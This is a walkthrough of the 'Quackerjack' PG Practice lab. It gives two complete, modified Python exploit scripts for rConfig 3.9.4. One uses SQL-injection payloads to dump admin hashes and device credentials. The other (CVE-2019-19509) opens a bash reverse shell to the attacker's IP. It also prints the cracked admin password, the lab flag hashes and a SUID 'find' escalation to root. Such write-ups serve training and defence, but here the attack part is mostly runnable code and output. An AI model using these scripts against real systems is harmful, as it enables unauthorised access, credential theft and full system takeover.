Summary #
On port 8081 there’s an rConfig
application which is vulnerable for a SQLi the leaks the hash of the admin password. Using CrackStation we decrypt it and get working credentials. Using these credentials we can use another exploit (CVE-2019-19509) to get initial access. Once on the target there is a find
binary with the SUID bit set which enables us to escalate to the root
user.
Specifications #
- Name: QUACKERJACK
- Platform: PG PRACTICE
- Points: 20
- Difficulty: Intermediate
- System overview: Linux quackerjack 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
- IP address: 192.168.159.57
- OFFSEC provided credentials: None
- HASH:
local.txt
:d303348c661f3cc510928bd5112f3b8b
- HASH:
proof.txt
:a3014363a65969cd5c33a6992d91d894
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir quackerjack && cd quackerjack && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Jul 22 16:24 .
drwxrwxr-x 14 kali kali 4096 Jul 22 16:24 ..
drwxrwxr-x 2 kali kali 4096 Jul 22 16:24 enum
drwxrwxr-x 2 kali kali 4096 Jul 22 16:24 exploits
drwxrwxr-x 2 kali kali 4096 Jul 22 16:24 files
drwxrwxr-x 2 kali kali 4096 Jul 22 16:24 tools
drwxrwxr-x 2 kali kali 4096 Jul 22 16:24 uploads
## set bash variable
ip=192.168.159.57
## ping target to check if it's online
ping $ip
PING 192.168.159.57 (192.168.159.57) 56(84) bytes of data.
64 bytes from 192.168.159.57: icmp_seq=1 ttl=61 time=15.1 ms
64 bytes from 192.168.159.57: icmp_seq=2 ttl=61 time=15.6 ms
^C
--- 192.168.159.57 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 15.145/15.356/15.568/0.211 ms
Reconnaissance #
Portscanning #
Using Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
RustScan: allowing you to send UDP packets into the void 1200x faster than NMAP
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.159.57:21
Open 192.168.159.57:22
Open 192.168.159.57:80
Open 192.168.159.57:111
Open 192.168.159.57:139
Open 192.168.159.57:445
Open 192.168.159.57:3306
Open 192.168.159.57:8081
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-22 16:29 CEST
Initiating Ping Scan at 16:29
Scanning 192.168.159.57 [4 ports]
Completed Ping Scan at 16:29, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 16:29
Completed Parallel DNS resolution of 1 host. at 16:29, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 16:29
Scanning 192.168.159.57 [8 ports]
Discovered open port 111/tcp on 192.168.159.57
Discovered open port 80/tcp on 192.168.159.57
Discovered open port 445/tcp on 192.168.159.57
Discovered open port 139/tcp on 192.168.159.57
Discovered open port 21/tcp on 192.168.159.57
Discovered open port 3306/tcp on 192.168.159.57
Discovered open port 22/tcp on 192.168.159.57
Discovered open port 8081/tcp on 192.168.159.57
Completed SYN Stealth Scan at 16:29, 0.05s elapsed (8 total ports)
Nmap scan report for 192.168.159.57
Host is up, received echo-reply ttl 61 (0.016s latency).
Scanned at 2025-07-22 16:29:00 CEST for 0s
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 61
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
111/tcp open rpcbind syn-ack ttl 61
139/tcp open netbios-ssn syn-ack ttl 61
445/tcp open microsoft-ds syn-ack ttl 61
3306/tcp open mysql syn-ack ttl 61
8081/tcp open blackice-icecap syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds
Raw packets sent: 12 (504B) | Rcvd: 9 (380B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
21/tcp open ftp syn-ack ttl 61
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
111/tcp open rpcbind syn-ack ttl 61
139/tcp open netbios-ssn syn-ack ttl 61
445/tcp open microsoft-ds syn-ack ttl 61
3306/tcp open mysql syn-ack ttl 61
8081/tcp open blackice-icecap syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## change directory
cd files
## get a list, comma separated of the open port(s)
cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports
## output previous command
21,22,80,111,139,445,3306,8081
## move one up
cd ..
## use this output in the `nmap` command below:
sudo nmap -T3 -p 21,22,80,111,139,445,3306,8081 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 61 vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.45.195
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.2 - secure, fast, stable
|_End of status
22/tcp open ssh syn-ack ttl 61 OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 a2:ec:75:8d:86:9b:a3:0b:d3:b6:2f:64:04:f9:fd:25 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCWsUPf+lVe3JddBDNBbM3vSxW2Nbl7ZniBHSy2r7B9KN42uteBJeZtPoxcBGPEcUv4ZZQ7CrIyKEqNjpz4QfryIb9Ta4ehTJNumQCXV2r2VsLDYCK0C+FjOwc++o/iqUOPm48NNO3s//vhb33VZ1g5dnEnXQ68jdJ3G382+cVfcWj6WSZLS1hk7HLq2lYrTZD6krJ1eEZxgIb6YiXnSruEtntEpiEy5c92yh3KFnvVhgwNJe/WyNpXLrE4I66lX5EWhTAhw/6373RL/3efGsptmwhb7wrMXdscic/JOmUMUKYPRVl7KGMik0kjVH/rXpEpTjUONQ+3DhuT7khuB5MF
| 256 b6:d2:fd:bb:08:9a:35:02:7b:33:e3:72:5d:dc:64:82 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMT94WFh/L5UMkSoHb0Obh3JTETeKzHNMKfnuJleky0X/AEbM+TV5WCsd7GcWfhfsFxK1xyK9iyNzmKmShy3Fk8=
| 256 08:95:d6:60:52:17:3d:03:e4:7d:90:fd:b2:ed:44:86 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIANg5sdcd3U3DkheWc10jhSTJbOSE7Lqtyu+yQhLuywl
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16)
| http-methods:
| Supported Methods: POST OPTIONS GET HEAD TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16
|_http-title: Apache HTTP Server Test Page powered by CentOS
111/tcp open rpcbind syn-ack ttl 61 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
|_ 100000 3,4 111/udp6 rpcbind
139/tcp open netbios-ssn syn-ack ttl 61 Samba smbd 3.X - 4.X (workgroup: SAMBA)
445/tcp open netbios-ssn syn-ack ttl 61 Samba smbd 4.10.4 (workgroup: SAMBA)
3306/tcp open mysql syn-ack ttl 61 MariaDB 10.3.23 or earlier (unauthorized)
8081/tcp open http syn-ack ttl 61 Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16
|_http-title: 400 Bad Request
Service Info: Host: QUACKERJACK; OS: Unix
Host script results:
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.10.4)
| Computer name: quackerjack
| NetBIOS computer name: QUACKERJACK\x00
| Domain name: \x00
| FQDN: quackerjack
|_ System time: 2025-07-22T10:30:21-04:00
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 50057/tcp): CLEAN (Timeout)
| Check 2 (port 52763/tcp): CLEAN (Timeout)
| Check 3 (port 52162/udp): CLEAN (Timeout)
| Check 4 (port 20740/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time:
| date: 2025-07-22T14:30:24
|_ start_date: N/A
|_clock-skew: mean: 1h19m59s, deviation: 2h18m34s, median: 0s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
Initial Access #
8081/tcp open http syn-ack ttl 61 Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16
|_http-title: 400 Bad Request
On port 8081 there is a HTTPS website which, after clicking on Advanced/Accept the Risk and Continue
, will lead to a rConfig - Configuration Management website.


In the bottom of the screen a version is shown, namely: rConfig Version 3.9.4
. Running this information through searchsploit gives us a number of exploits. Download the unauthenticated RCE (php/webapps/48208.py)
## search for exploits
searchsploit rConfig 3.9.4
---------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------- ---------------------------------
rConfig 3.9 - 'searchColumn' SQL Injection | php/webapps/48208.py
rConfig 3.9.4 - 'search.crud.php' Remote Command Injection | php/webapps/48241.py
rConfig 3.9.4 - 'searchField' Unauthenticated Root Remote Code Execution | php/webapps/48261.py
Rconfig 3.x - Chained Remote Code Execution (Metasploit) | linux/remote/48223.rb
---------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
## change directory
cd exploits
## mirror the exploit locally
searchsploit -m php/webapps/48208.py
Exploit: rConfig 3.9 - 'searchColumn' SQL Injection
URL: https://www.exploit-db.com/exploits/48208
Path: /usr/share/exploitdb/exploits/php/webapps/48208.py
Codes: CVE-2020-10220
Verified: False
File Type: Python script, ASCII text executable
When we run this script it gives the following error: SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self-signed certificate
, when we change the exploit to consistently use SSL verification. Dashboard_request uses verify=False to bypass SSL verification, but the extractDBinfos
function calls request.get(encoded_request) without specifying verify=False. This causes the requests library to attempt SSL verification, leading to the error.
#!/usr/bin/python3
import requests
import sys
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from requests.exceptions import SSLError, ConnectionError
# Suppress InsecureRequestWarning for self-signed certificates
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
print("rconfig 3.9 - SQL Injection PoC")
if len(sys.argv) != 2:
print("[+] Usage : ./rconfig_exploit.py https://target")
exit()
vuln_page = "/commands.inc.php"
vuln_parameters = "?searchOption=contains&searchField=vuln&search=search&searchColumn=command"
given_target = sys.argv[1]
target = given_target + vuln_page + vuln_parameters
request = requests.session()
try:
dashboard_request = request.get(target, allow_redirects=False, verify=False, timeout=10)
except (SSLError, ConnectionError) as e:
print(f"[!] SSL or Connection Error occurred: {str(e)}. Continuing with SSL verification disabled...")
def extractDBinfos(myTarget=None, myPayload=None):
"""
Extract information from database
Args:
- myTarget+myPayload (String)
Returns:
- payload result (String)
"""
result = ""
encoded_request = myTarget + myPayload
try:
exploit_req = request.get(encoded_request, verify=False, timeout=10)
if '[PWN]' in str(exploit_req.content):
result = str(exploit_req.content).split('[PWN]')[1]
else:
result = "Maybe no more information ?"
except (SSLError, ConnectionError) as e:
result = f"[!] Error during request: {str(e)}. Check connection or target."
return result
if dashboard_request.status_code != 404:
print("[+] Triggering the payloads on " + given_target + vuln_page)
# Get the db name
print("[+] Extracting the current DB name :")
db_payload = "%20UNION%20ALL%20SELECT%20(SELECT%20CONCAT(0x223E3C42523E5B50574E5D,database(),0x5B50574E5D3C42523E)%20limit%200,1),NULL--"
db_name = extractDBinfos(target, db_payload)
print(db_name)
# DB extract users
print("[+] Extracting 10 first users :")
for i in range(0, 10):
user1_payload = "%20UNION%20ALL%20SELECT%20(SELECT%20CONCAT(0x223E3C42523E5B50574E5D,username,0x3A,id,0x3A,password,0x5B50574E5D3C42523E)%20FROM%20" + db_name + ".users+limit+" + str(i) + "," + str(i + 1) + "),NULL--"
user_h = extractDBinfos(target, user1_payload)
print(user_h)
# DB extract devices information
print("[+] Extracting 10 first devices :")
for i in range(0, 10):
device_payload = "%20UNION%20ALL%20SELECT%20(SELECT%20CONCAT(0x223E3C42523E5B50574E5D,deviceName,0x3A,deviceIpAddr,0x3A,deviceUsername,0x3A,devicePassword,0x3A,deviceEnablePassword,0x5B50574E5D3C42523E)%20FROM%20" + db_name + ".nodes+limit+" + str(i) + "," + str(i + 1) + "),NULL--"
device_h = extractDBinfos(target, device_payload)
print(device_h)
print("Done")
else:
print("[-] Please verify the URI")
exit()
When we now run the exploit we do get a hash that we can crack using CrackStation.
python3 ex.py https://192.168.159.57:8081
rconfig 3.9 - SQL Injection PoC
[+] Triggering the payloads on https://192.168.159.57:8081/commands.inc.php
[+] Extracting the current DB name :
rconfig
[+] Extracting 10 first users :
admin:1:dc40b85276a1f4d7cb35f154236aa1b2
<SNIP>

The credentials are: admin:abgrtyu
. We can verify these credentials by logging in the application, and indeed we get logged in.


Now we can download the authenticated RCE exploit for rConfig using searchsploit.
searchsploit -m php/webapps/47982.py
Exploit: rConfig 3.9.3 - Authenticated Remote Code Execution
URL: https://www.exploit-db.com/exploits/47982
Path: /usr/share/exploitdb/exploits/php/webapps/47982.py
Codes: CVE-2019-19509
Verified: True
File Type: Python script, ASCII text executable
But, again we need to modify it again, for the following error: SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self-signed certificate
. Save the file below to a file called exploit.py
.
#!/usr/bin/python3
import requests
import sys
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from requests.exceptions import SSLError, ConnectionError, Timeout
# Suppress InsecureRequestWarning for self-signed certificates
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
print("rconfig - CVE-2019-19509 - Web authenticated RCE")
if len(sys.argv) != 6:
print("[+] Usage : ./rconfig_exploit.py https://target username password yourIP yourPort")
exit()
target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]
payload = '''`bash -i>& /dev/tcp/{0}/{1} 0>&1`'''.format(ip, port)
request = requests.session()
login_info = {
"user": username,
"pass": password,
"sublogin": 1
}
try:
login_request = request.post(
target + "/lib/crud/userprocess.php",
login_info,
verify=False,
allow_redirects=True,
timeout=10
)
except (SSLError, ConnectionError, Timeout) as e:
print(f"[!] Error during login: {str(e)}. Continuing with SSL verification disabled...")
exit()
try:
dashboard_request = request.get(target + "/dashboard.php", allow_redirects=False, verify=False, timeout=10)
except (SSLError, ConnectionError, Timeout) as e:
print(f"[!] Error accessing dashboard: {str(e)}. Cannot proceed.")
exit()
if dashboard_request.status_code == 200:
print("[+] Logged in successfully, triggering the payload...")
encoded_request = target + "/lib/ajaxHandlers/ajaxArchiveFiles.php?path={0}&ext=random".format(urllib.parse.quote(payload))
print("[+] Check your listener!")
try:
exploit_req = request.get(encoded_request, verify=False, timeout=10)
except Timeout:
print("[+] The reverse shell seems to be opened :-)")
except (SSLError, ConnectionError) as e:
print(f"[!] Error during payload execution: {str(e)}. Reverse shell may still be active...")
else:
print("[-] The command was not executed by the target or you forgot to open a listener...")
elif dashboard_request.status_code == 302:
print("[-] Wrong credentials!")
exit()
Get our local IP address on tun0, setup a listener on port 80 and run the exploit (CVE-2019-19509):
## get local IP address
ip a
4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.45.195/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::4729:e8c8:9ef2:5416/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
## setup a listener
nc -lvnp 80
## run the exploit
python3 exploit.py https://192.168.159.57:8081/ admin abgrtyu 192.168.45.195 80
rconfig - CVE-2019-19509 - Web authenticated RCE
[+] Logged in successfully, triggering the payload...
[+] Check your listener!
[+] The reverse shell seems to be opened :-)
## catch reverse shell
nc -lvnp 80
listening on [any] 80 ...
connect to [192.168.45.195] from (UNKNOWN) [192.168.159.57] 58762
bash: no job control in this shell
## change directory to the root of the `rconfig` user
bash-4.2$ cd /home/rconfig
cd /home/rconfig
## print `local.txt`
bash-4.2$ cat local.txt
d303348c661f3cc510928bd5112f3b8b
Privilege Escalation #
First we download linpeas locally, upload it to the target and run it.
## change directory
cd uploads
## download `linpeas.sh`
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
## start a local webserver
python3 -m http.server 80
## on target, change directory to `/var/tmp/`, download `linpeas.sh`, set execution bit and run `linpeas.sh`
bash-4.2$ cd /var/tmp
bash-4.2$ wget http://192.168.45.195/linpeas.sh
wget http://192.168.45.195/linpeas.sh
--2025-07-22 16:13:00-- http://192.168.45.195/linpeas.sh
Connecting to 192.168.45.195:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 956174 (934K) [text/x-sh]
Saving to: 'linpeas.sh'
<SNIP>
2025-07-22 16:13:00 (3.97 MB/s) - 'linpeas.sh' saved [956174/956174]
bash-4.2$ chmod +x linpeas.sh
bash-4.2$ ./linpeas.sh
In the output of linpeas.sh
we find a SUID binary set on: -rwsr-xr-x. 1 root root 195K Oct 30 2018 /usr/bin/find
. We can verify this on the terminal:
## search for SUID binaries and grep for find
bash-4.2$ find / -perm /4000 -ls 2>/dev/null | grep find
12596477 196 -rwsr-xr-x 1 root root 199304 Oct 30 2018 /usr/bin/find
On the GTFOBins (https://gtfobins.github.io/gtfobins/find/#suid) website we can search for PHP with SUID set and see how we can exploit this.
## run the SUID binary to get a shell as the `root` user
bash-4.2$ /usr/bin/find . -exec /bin/sh -p \; -quit
## run the `whoami` command
whoami
root
## print `proof.txt`
cat /root/proof.txt
a3014363a65969cd5c33a6992d91d894
References #
[+] https://www.exploit-db.com/exploits/48208
[+] https://www.exploit-db.com/exploits/47982
[+] https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
[+] https://gtfobins.github.io/gtfobins/find/#suid